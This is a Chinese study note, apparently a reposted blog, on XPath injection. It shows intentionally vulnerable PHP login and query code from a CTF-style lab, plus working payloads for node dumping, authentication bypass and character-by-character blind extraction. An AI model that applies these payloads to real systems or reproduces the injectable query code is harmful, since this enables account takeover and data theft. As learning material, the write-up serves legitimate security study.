xpath 第一个元素_XPATH注入学习

更多全球网络安全资讯尽在邑安全

www.eansec.com

0x00、前言

转眼这学期上完就要找实习了,在网上找了一些面经来看,看到有问到xpath注入的情况。发现对自己xpath注入的了解仅局限于做了墨者学院的xpath注入靶场的常规注入,对xpath注入的权限绕过和盲注并不了解,以下为这次学习的笔记

0x01、XPATH:

xpath入门

XPath即为XML路径语言,它是一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言。XPath基于XML的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力

0x02、XPATH注入原理:

XPath 注入利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得搞权限信息的访问权。

XPath注入类似于SQL注入,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入,由于Xpath中数据不像SQL中有权限的概念,用户可通过提交恶意XPATH代码获取到完整xml文档数据

0x03、Xpath和Xquery语法:

  • “nodename” – 选取nodename的所有子节点

  • “/nodename” – 从根节点中选择

  • “//nodename” – 从当前节点选择

  • “..” – 选择当前节点的父节点

  • “child::node()” – 选择当前节点的所有子节点

  • "@" -选择属性

  • "//user[position()=2] " 选择节点位置

0x04、XPATH注入之常规注入

这里我对hctf2015 的injection源码稍微改动(去掉对and 和 or等字符的过滤):

index.php:

<?php 
if(file_exists('t3stt3st.xml')) {
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo "2";
echo $x.": " . $x_value;
echo "
";
}
}
?>

t3stt3st.xml:

<?xml version="1.0" encoding="utf-8"?>
user1KEY:1user2KEY:2user3KEY:3user4KEY:4user5KEY:5user6KEY:6user7KEY:7user8KEY:8user9KEY:9hctfflag:hctf{Dd0g_fac3_t0_k3yboard233}

正常查询:http://127.0.0.1/xpath/index.php?user=user1

bc2a6ab9e864807798ee9485c9bb8718.png

Xpath注入漏洞验证:

加一个 ' ;有下列报错,则可以确定Xpath注入的存在性

84ff01047cd9e4c5ec8d6b8ddd8cbeb4.png

构造Xpath注入语句:

user1' or 1=1 or ''='

此时的查询语句为

$query="user/username[@name='user1' or 1=1 or ''='']";
##1=1为真 ''='' 为真,使用or连接,则可以匹配当前节点下的所有user

结果:

4c3a99cbeb33c170e7c567e718387e09.png

使用' or 1=1 or ''=' 只能获取当前节点下的数据,flag不在当前节点中。而这里既然为ctf题目,肯定是需要获取flag的,这里xpath有一个类似于sqli的'or '1'='1的paylaod

']|//*|//*['

该paylaod用于访问xml文档的所有节点

5f81092741d3fa602c06cefcd0286a5c.png

0x05、Xpath注入之登录绕过

login.php:









username:
password:


<?php
if(file_exists('test.xml')){
$xml=simplexml_load_file('test.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>

test.xml

<?xml version="1.0" encoding="UTF-8"?>
Twe1veadmin@xx.comadministratorP@ssword123testtw@xx.comnormal123456

这里,test为普通账户,Twe1ve为管理账户(不设置为admin,为了更直观地看出权限时用户名已知和未知的区别,也是模拟用户名不为admin的情况)
test用户使用正确的账户名密码正常登录:

c5b7f505930bd71c3b3af3da789e3220.png

用户名:test' or 'a'='a 密码随意

1f7dfad887b48411ab438dcb951b1aa5.png

这意味着知道任意用户名即可以该用户身份登录,在已知用户账户名的情况下实现任意用户登录。假若管理员用户未知,如我这里设置的比较奇葩的管理用户名,还可以实现以管理员身份登录吗?我们知道一般数据库中默认第一个用户为管理用户。所以这里类似SQLi 的万能密码,使用如下paylaod实现在管理账户未知的情况下管理员登录:

x' or 1=1 or ''='

结果:

9d0202954939b87696e6260be5f9a60b.png

0x06、Xpath盲注

xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息,同样以0x05中的源码为例

Xpath盲注步骤:

- 判断根节点下的节点数

  • 判断根节点下节点长度&名称

  • .....

  • 重复猜解完所有节点,获取最后的值

从根节点开始判断:

'or count(/)=1  or ''='     ###根节点数量为1
'or count(/*)=1 or ''=' ##根节点下只有一个子节点

判断根节点下的节点长度为8:

'or string-length(name(/*[1]))=8 or ''='

猜解根节点下的节点名称:

'or substring(name(/*[1]), 1, 1)='a'  or ''='
'or substring(name(/*[1]), 2, 1)='c' or ''='
..
'or substring(name(/*[1]), 8, 1)='s' or ''='

猜解出该节点名称为accounts

'or count(/accounts)=1  or ''='   /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''=' /accounts下有两个节点

'or string-length(name(/accounts/*[1]))=4 or ''=' 第一个子节点长度为4

猜解accounts下的节点名称:

'or substring(name(/accounts/*[1]), 1, 1)='u'  or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r' or ''='

accounts下子节点名称为user

'or count(/accounts/user)=2  or ''='    user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点

第一个user节点的子节点长度为8:
'or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ''='

读取user节点的下子节点

'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u'  or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s' or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e' or ''='

最终所有子节点值验证如下:

'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username'  or ''='
'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email' or ''='
'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype' or ''='
'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password' or ''='

继续猜解:

'or count(/accounts/user[position()=1]/username/*)>0 or ''='
'or count(/accounts/user[position()=1]/email/*)>0 or ''='
'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''='
'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='

均为 false,不再有子节点,则可以尝试读取这些节点的值

第一个user下的username值长度为6:

'or string-length((//user[position()=1]/username[position()=1]))=6  or ''='

读取第一个user下usernaem的值

'or substring((//user[position()=1]/username[position()=1]),1,1)='T'  or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e' or ''='

可依次读取所有的子节点的值,第二user节点的子节点值读取方式:

'or string-length((//user[position()=2]/username[position()=1]))=4 or ''='  第一个user下的username长度为4
......

重复上边步骤即可

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

20fa0a3664096307a9a42cb392f18cbd.png

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!

推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值